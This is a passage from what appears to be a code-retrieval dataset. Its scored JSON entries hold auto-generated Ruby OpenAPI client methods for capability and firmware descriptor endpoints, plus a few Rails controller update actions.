'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_fan_module_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_fan_module_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "76b346d64c3d6d6a949242903b1e844c", "score": "0.5025636", "text": "def patch_capability_fan_module_descriptor_with_http_info(moid, capability_fan_module_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_fan_module_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_fan_module_descriptor\"\n end\n # verify the required parameter 'capability_fan_module_descriptor' is set\n if @api_client.config.client_side_validation && capability_fan_module_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_fan_module_descriptor' when calling CapabilityApi.patch_capability_fan_module_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/FanModuleDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_fan_module_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityFanModuleDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_fan_module_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_fan_module_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "3821338835a0d34c24711a55c53abe2f", "score": "0.50254846", "text": "def update_capability_switch_capability_with_http_info(moid, capability_switch_capability, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_switch_capability ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_switch_capability\"\n end\n # verify the required parameter 'capability_switch_capability' is set\n if @api_client.config.client_side_validation && capability_switch_capability.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_capability' when calling CapabilityApi.update_capability_switch_capability\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchCapabilities/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_capability)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchCapability'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_switch_capability\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_switch_capability\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a3d7b4fa931f8007dfb602b5151d2f7a", "score": "0.50216126", "text": "def get_capability_sioc_module_manufacturing_def_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.get_capability_sioc_module_manufacturing_def_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.get_capability_sioc_module_manufacturing_def_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.get_capability_sioc_module_manufacturing_def_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#get_capability_sioc_module_manufacturing_def_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "0e448f076181bdc19a33a419a62cadc3", "score": "0.5015068", "text": "def update\n respond_to do |format|\n if @socio_spc.update(socio_spc_params)\n format.html { redirect_to @socio_spc, notice: 'Socio spc was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @socio_spc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8be187e45c3fbd39d0ad428e8ef9c9f8", "score": "0.5010903", "text": "def patch_capability_switch_descriptor_with_http_info(moid, capability_switch_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_switch_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_switch_descriptor\"\n end\n # verify the required parameter 'capability_switch_descriptor' is set\n if @api_client.config.client_side_validation && capability_switch_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_descriptor' when calling CapabilityApi.patch_capability_switch_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_switch_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_switch_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "35ec8dfa11ccbf74a0380f13abb556c4", "score": "0.50099355", "text": "def update_firmware_iom_descriptor_with_http_info(moid, firmware_iom_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FirmwareApi.update_firmware_iom_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling FirmwareApi.update_firmware_iom_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/firmware/IomDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(firmware_iom_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'FirmwareIomDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"FirmwareApi.update_firmware_iom_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FirmwareApi#update_firmware_iom_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "ae70b592bb3f0ccfeb147eaa6508ad65", "score": "0.50010043", "text": "def update_firmware_pcie_descriptor_with_http_info(moid, firmware_pcie_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FirmwareApi.update_firmware_pcie_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling FirmwareApi.update_firmware_pcie_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/firmware/PcieDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(firmware_pcie_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'FirmwarePcieDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"FirmwareApi.update_firmware_pcie_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FirmwareApi#update_firmware_pcie_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "0ef9b66329da02be7e2ac270b1617674", "score": "0.5000387", "text": "def get_capability_sioc_module_manufacturing_def_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.get_capability_sioc_module_manufacturing_def_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleManufacturingDefs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleManufacturingDefResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.get_capability_sioc_module_manufacturing_def_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#get_capability_sioc_module_manufacturing_def_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "684fa306a9d5bccd13b220d0cacfc355", "score": "0.49896783", "text": "def patch_firmware_cimc_descriptor_with_http_info(moid, firmware_cimc_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FirmwareApi.patch_firmware_cimc_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling FirmwareApi.patch_firmware_cimc_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/firmware/CimcDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(firmware_cimc_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'FirmwareCimcDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"FirmwareApi.patch_firmware_cimc_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FirmwareApi#patch_firmware_cimc_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "86fc97e4b6f539b6a2a1cce9651df81a", "score": "0.49874246", "text": "def create_capability_io_card_capability_def_with_http_info(capability_io_card_capability_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.create_capability_io_card_capability_def ...'\n end\n # verify the required parameter 'capability_io_card_capability_def' is set\n if @api_client.config.client_side_validation && capability_io_card_capability_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_io_card_capability_def' when calling CapabilityApi.create_capability_io_card_capability_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/IoCardCapabilityDefs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_io_card_capability_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityIoCardCapabilityDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.create_capability_io_card_capability_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#create_capability_io_card_capability_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "4b696d36a53b63d66670919e0e9aeb92", "score": "0.49797255", "text": "def get_capability_sioc_module_capability_def_list(opts = {})\n data, _status_code, _headers = get_capability_sioc_module_capability_def_list_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "8b2dfc001dd8dd518d4c58b7e159d3ed", "score": "0.49650237", "text": "def update_capability_fan_module_descriptor(moid, capability_fan_module_descriptor, opts = {})\n data, _status_code, _headers = update_capability_fan_module_descriptor_with_http_info(moid, capability_fan_module_descriptor, opts)\n data\n end", "title": "" }, { "docid": "ea95e1b0c1ce639fffd0fd9f21452ff1", "score": "0.49592966", "text": "def update_firmware(attributes = {})\n patch('replace', '/firmware', attributes)\n end", "title": "" }, { "docid": "fce6292e5ad330c6b527ec6171b1ccb9", "score": "0.49436787", "text": "def update_capability_catalog_with_http_info(moid, capability_catalog, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_catalog ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_catalog\"\n end\n # verify the required parameter 'capability_catalog' is set\n if @api_client.config.client_side_validation && capability_catalog.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_catalog' when calling CapabilityApi.update_capability_catalog\"\n end\n # resource path\n local_var_path = '/api/v1/capability/Catalogs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_catalog)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityCatalog'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_catalog\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_catalog\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "5f269e6fd6bc2dc2ddf24d664c880adf", "score": "0.49426275", "text": "def update\n @system_module = SystemModule.find(params[:id])\n\n respond_to do |format|\n if @system_module.update_attributes(params[:system_module])\n format.html { redirect_to system_modules_path, notice: 'System module was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @system_module.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4ae8df158e062c34cd7d1d1d83de830c", "score": "0.492496", "text": "def delete_capability_sioc_module_descriptor(moid, opts = {})\n delete_capability_sioc_module_descriptor_with_http_info(moid, opts)\n nil\n end", "title": "" }, { "docid": "a0ef273bed582110a3bf83cb529f9ba0", "score": "0.49168548", "text": "def update_capability_catalog(moid, capability_catalog, opts = {})\n data, _status_code, _headers = update_capability_catalog_with_http_info(moid, capability_catalog, opts)\n data\n end", "title": "" }, { "docid": "3b0973eb9fb4ec98d0ad50a98a7d4350", "score": "0.49141654", "text": "def update\n respond_to do |format|\n if @constant.update(constant_params)\n format.html { redirect_to @constant, notice: 'Constant was successfully updated.' }\n format.json { render :show, status: :ok, location: @constant }\n else\n format.html { render :edit }\n format.json { render json: @constant.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c84b2f417105c5069819c9af6ec7f5e", "score": "0.49140033", "text": "def update\n @crit_requirement = CritRequirement.find(params[:id])\n\n respond_to do |format|\n if @crit_requirement.update_attributes(params[:crit_requirement])\n format.html { redirect_to(@crit_requirement, :notice => 'Crit requirement was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @crit_requirement.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71f117c1a54585dab55d8513b006600b", "score": "0.4913857", "text": "def patch_capability_equipment_physical_def_with_http_info(moid, capability_equipment_physical_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_equipment_physical_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_equipment_physical_def\"\n end\n # verify the required parameter 'capability_equipment_physical_def' is set\n if @api_client.config.client_side_validation && capability_equipment_physical_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_equipment_physical_def' when calling CapabilityApi.patch_capability_equipment_physical_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/EquipmentPhysicalDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_equipment_physical_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityEquipmentPhysicalDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_equipment_physical_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_equipment_physical_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "77e954cd9680cc1199fb2ebed326bf39", "score": "0.4904987", "text": "def update!(**args)\n @resource_group = args[:resource_group] if args.key?(:resource_group)\n @resource_kind = args[:resource_kind] if args.key?(:resource_kind)\n end", "title": "" }, { "docid": "74530d4480008d76468e6c01644ca474", "score": "0.48838803", "text": "def patch_capability_server_schema_descriptor_with_http_info(moid, capability_server_schema_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_server_schema_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_server_schema_descriptor\"\n end\n # verify the required parameter 'capability_server_schema_descriptor' is set\n if @api_client.config.client_side_validation && capability_server_schema_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_server_schema_descriptor' when calling CapabilityApi.patch_capability_server_schema_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/ServerSchemaDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_server_schema_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityServerSchemaDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_server_schema_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_server_schema_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "ea2776862fa7f7017de17c5f4f8ffef1", "score": "0.48810706", "text": "def patch_capability_io_card_descriptor(moid, capability_io_card_descriptor, opts = {})\n data, _status_code, _headers = patch_capability_io_card_descriptor_with_http_info(moid, capability_io_card_descriptor, opts)\n data\n end", "title": "" }, { "docid": "92decfbec73d6d5660ba51825e475e0e", "score": "0.48624715", "text": "def update_capability_psu_descriptor(moid, capability_psu_descriptor, opts = {})\n data, _status_code, _headers = update_capability_psu_descriptor_with_http_info(moid, capability_psu_descriptor, opts)\n data\n end", "title": "" }, { "docid": "536a2c6e1358e6b79dc3ec8755dac11a", "score": "0.4840713", "text": "def patch_firmware_iom_descriptor_with_http_info(moid, firmware_iom_descriptor, 